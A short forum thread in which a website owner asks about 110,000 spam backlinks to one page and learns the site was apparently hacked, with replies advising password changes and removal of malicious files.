  Sajid Iqbal: A page on my website seems to have been spammed, ie out of the blue there are around 110,000 backlinks to this one page, from weird websites.
  
  I have deleted the page.
  The question is, do I need to do anything else or will google realise the page is gone and therefore them links are no longer relevant ?
  
  Thanks

  Jan Stüber: URL?

  Sajid Iqbal: What can I do about it +Pe lagic ;?
• 
  Pe lagic: Change your password(s) immediately and then remove the hack(s)
• 
  Sajid Iqbal: Thank You.
  When you say remove the hacks, do you mean the 2 pages you mentioned above ?
  How can I find out if there are more pages, or something else underlying ?
• 
  Sajid Iqbal: +Pe lagic ; how did you find/identify the pages ?
  How do I know there arn't any others ?
  Thanks
• 
  Sajid Iqbal: Can anyone help ?
  I have deleted the files which I knew where malicious, is there any way of checking to see if there are any more malicious files ?
